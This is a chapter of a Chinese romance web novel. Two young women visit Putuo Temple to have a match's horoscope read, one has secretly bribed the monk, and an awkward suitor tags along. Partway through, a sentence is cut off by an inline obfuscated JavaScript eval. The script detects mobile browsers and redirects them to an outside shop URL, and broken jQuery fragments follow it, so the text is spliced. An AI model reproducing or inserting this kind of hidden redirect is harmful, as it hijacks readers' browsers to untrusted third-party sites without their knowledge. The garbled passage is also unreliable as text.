被哥哥逼着回到家中,朱筠竹忿忿不平,眼中已蓄满了泪。
“哥哥,你阻拦我与徐郎做什么!”
朱修黑着脸:“你还好意思说?眼巴巴追过去,人家压根不搭理你,你何必自讨苦吃?”
“你还好意思说我?一见林卿雎就走不动道的是谁?一见林卿雎就脸红说不出话的又是谁?亏我之前还帮过你,你却一点也不替我的幸福着想!讨厌死你了!”
被妹妹怼得哑口无言,朱修涨红了脸,吞吐道:“你是女子,这如何能一样?我可以丢脸,你却不行。”
“我才不觉得丢脸!况且、况且……”朱筠竹脸上浮起两抹红霞:“徐郎他,是喜欢我的。”
喜欢竹儿?朱修着实是惊诧到了,这徐茗怎么看,也不像是喜欢妹妹的模样呀。
半晌,他才问:“竹儿,你是如何确定的?”
朱筠竹撇过脸:“哥哥别问这么多,我就是知道。”
“……竹儿,你道林妹妹喜欢我么?”
朱修突然这么一问,朱筠竹不明所以,但还是不假思索道:“她当然不喜欢你。”
对妹妹的回答,虽然早有预料,但还是有些受伤呢。
朱修难受地摸了摸心口,一脸沉重:“我看你追徐茗,就如你看我追林妹妹。你们姑娘么,追久了或许还会感动;但男人,不喜欢就是不喜欢。你们呐,哎……”
……朱筠竹拿起梳妆台上的胭脂去砸朱修,她就说怎么突然问起他和林卿雎的事,竟然好意思和她做对比?朱筠竹怒道:“那还说女追男隔层纱呢,哥哥你好歹读了十几年书,这个又不知晓?总之哥哥别再拦我,不然我和你急!”
被胭脂盒砸到脑袋,朱修一时说不出话来,晕晕乎乎中,又听妹妹说:“过几日我就去普陀寺合看与徐郎的姻缘,若八字相合,哥哥你自无话可说!”
看姻缘?朱修喃喃道:“林妹妹也去?”
朱筠竹勉强点了点头。
朱修立即道:“那我也要去!”
……
林卿雎微微掀开马车上窗帘,看了一眼马背上的朱修,就一脸嫌弃地别过脸去。
她压低声音,质问一脸故作无辜的朱筠竹:“你哥来普陀寺做什么!”
朱筠竹有些心虚:“普陀寺不是很灵验吗?乡考在即,他就来拜拜。”
“呵,要拜朱夫人不会拜?你做妹妹的不会替他来拜?有这闲工夫,他还不如多读几本书,充盈充盈肚中墨水才好。”
虽事实如此,但好歹是自己亲哥,林卿雎一而再再而三贬低他,朱筠竹还是很不高兴:“他还不是担心我和徐郎的事才跟了过来?再说,你不是说会带上徐郎吗?他人呢?本来哥哥就觉得徐郎压根不在意我,今日他又未现身,不是更坐实了他的想法?”
一听朱筠竹质问徐茗去了哪,林卿雎登时熄了气焰,眼睛往别处瞟:“说是最近算账繁忙,没空……”
“林卿雎,你好歹也是个小姐,他说没空你就没办法了?”
“哎,说到底,他是我爹请来的账房先生,又不是林家的下人,我还能逼他不成?”
林卿雎底气不足地为自己辩解,心中暗暗骂徐茗不听她的话。
今日一早,她都找好了马车夫身体不适,让徐茗顶替他拉车的借口,派了梨花前去把人找来。
没想到这厮以抽不开身为由敷衍她,让自己另寻他人。
开玩笑,她是林家的二小姐,想叫谁当马车夫就让谁当马车夫,还容得他来拒绝?
林卿雎一生气,便怨到了爹爹那。岂料爹爹近日也不知是怎么回事,前几日还对徐茗热忱得很,这几日一听她提起徐茗,却说:“近日他的确有些忙碌,卿儿,你要去普陀寺,还是找连书连墨他们作车夫吧。”
他居然不想撮合她和徐茗?!
“爹爹,女儿说这事不过是想您安慰一下我,替我说说那徐茗。他忙,我还能真逼着他去不可?您这么一说,不也是觉得我无理取闹?”
林卿雎对着林之海控诉,林之海一愣,暗道不好,自从歇了招徐茗为婿的心思,一听卿儿提及徐茗,他便下意识不想让二人接触太多。
他愧疚地笑了笑:“你不是对他意见很大吗?爹爹怕他去了,又会惹你生气呀。”
“我不管,自从女儿执意要和裴郎在一起后,爹爹您就像换了个人,我以后再也不理您了!”
林卿雎边生着闷气边跑了出去,本就心情不佳,去朱府接朱筠竹时,又见朱修也像个赖皮膏药似的跟来,更是气不打一处来。
而如今,她还要安抚因没能见到徐茗而闹脾气的朱筠竹,今日真真是开头不顺!
她拍拍朱筠竹的手:“朱姐姐,我已说过,等成了亲,你想见他就见他,不必纠结这一时的相思之苦。”
“如今我哥反对,能不能成亲,还是未知数呢。”
“我们去普陀寺不就是为了解决这一问题吗?若你们八字相合,便是天定的姻缘,你哥反对有什么用?”
朱筠竹顿了顿,有些担忧:“真的会是好结果吗?”
“那是自然。你和徐茗郎才女貌,肯定能成!”
林卿雎笑得自信,怎么可能不是好结果?她可是早就提前收买了那替人相看姻缘的和尚。
普陀寺建在半山腰,自几年前被官府出资修葺一番后,成了扬州香火最旺的寺庙之一。
据说在普陀寺,求子学业乃至姻缘都十分灵验,因此除了扬州人,也有许多其他州的百姓慕名而来,山道上马车众多,络绎不绝。
寺院肃穆,马车只得停在外面。
林卿雎与朱筠竹便分别在梨花与禾叶的搀扶下下了车,将连墨留在马车上,二人便一同进了寺庙。
朱修系好马,嘱咐连墨看好,也亦步亦趋跟了上去。
见朱修阴魂不散,林卿雎走了一会,终于停了下来,未被面纱遮住的眼睛不掩烦躁:“朱公子,你要求学业,便去右边的文昌殿拜谒文昌帝君吧,我与朱姐姐要往左边去。”
怕朱修听不懂,林卿雎毫不拐弯抹角,明晃晃地赶他走。
奈何这人脸皮比城墙厚,装作听不懂,乐呵呵地笑:“不急不急,我陪了你们,再去拜文昌帝君也不迟。”
……林卿雎用手肘戳戳朱筠竹,让她劝劝她哥。
朱筠竹却不言语,只催促林卿雎说:“像你说的,你使唤不了徐郎,我也劝不动我哥。还是快走吧,你且忍耐一下。”
用她的话来堵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614252|206038||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她?林卿雎咬牙,这个死丫头,怕是徐茗来了,她与她哥也是一丘之貉!
她转念一想,又庆幸,幸好徐茗没来。
若朱筠竹一个劲儿地缠着他,给了朱修可趁之机,自己就只能迫不得已和他呆在一块了。
二人要去的是圆通殿,大殿庄严恢弘,供奉着三位观世音菩萨,是女子来得最多的殿堂。
殿中男子并不多,有也是已订了亲的,未婚夫妻一同来还愿。
此情此景,朱修厚如城墙的脸终于出现一道裂缝,不好意思再进去,在殿外老老实实等着妹妹和林卿雎。
刚从殿中出来的项婉婉瞥见了他,指着他对母亲说:“阿娘,他是那日赏花宴上的一位秀才。”
闻言,项夫人看了过去,就见一位呆头呆脑的年轻人杵在殿外,心中奇道:这普陀寺真的如此灵验?刚替女儿求了姻缘,这姻缘就来了?
她笑道:“竟这么巧?我们要与他打个招呼吗?”
项婉婉想了想,点点头:“可以,我对他印象不错。”
于是正发着呆的朱修,就见一对母女相依着朝自己走来。
以为挡了路,他微微侧过身,却见二人径直在自己面前停下,那年轻姑娘直勾勾盯着自己,道:“好久不见。我是赏花宴那位接不上飞花令的姑娘,叫项婉婉,你还记得我吗?”
裴元芝帮忙解围的那位?朱修自然有印象,但为何要与他打招呼,她母亲竟然也在……
朱修有些尴尬:“自然记得,我陪妹妹来求缘,没想到能遇到,真巧。”
“的确很巧,年轻人,你叫什么?是哪家公子呀?”项夫人问。
“……夫人好,我是寄香楼的朱修。”
那感情好,家世年纪都相当啊。
项夫人为人大大咧咧,说话直来直往,正要问朱修是否婚配,女儿便先开了口:“阿娘,已打了招呼,我们走吧。”
“别呀,你不是对这位公子印象很好吗?我们何不多聊一会?”
对他印象很好?朱修又翘起了尾巴,笑着道:“比起其他秀才,我不过泯然众人,能得姑娘留意,真是荣幸。”
他不过是自谦,哪想项婉婉真的点了点头:“那些秀才说的话都文邹邹的,我一点也听不懂。幸好有你,要不然我哪呆得下去。”
朱修脸上笑意一僵,呵呵一笑:“姑娘说的什么话?他们作诗,我也作诗。还会听不懂他们说的,听得懂我说的不成?”
项婉婉又不假思索地点头:“对啊,明明是赏花,他们却莫名其妙加上一些毫不沾边的东西,尤其是那裴元芝,说话弯弯绕绕,奇怪死了。不像你,花是花的,叶是叶,一听就知道说的是什么。”
……朱修不语,终于陷入沉默。
合着对他印象好,是觉得他与她水平旗鼓相当啊?
知晓女儿心直口快的毛病又犯了,项夫人干巴巴地笑了几声:“婉婉就爱说笑,小朱你可千万别多想。婉婉,我们走吧。”
怎么一会不走,一会又要走?被母亲拎走时,项婉婉对朱修说:“朱修,你以后想买肉就来项家肉肆,我亲自剁肉给你。”
可算了,别把他给剁了才好……朱修一脸木然,呆滞地挥挥手,送走了她们。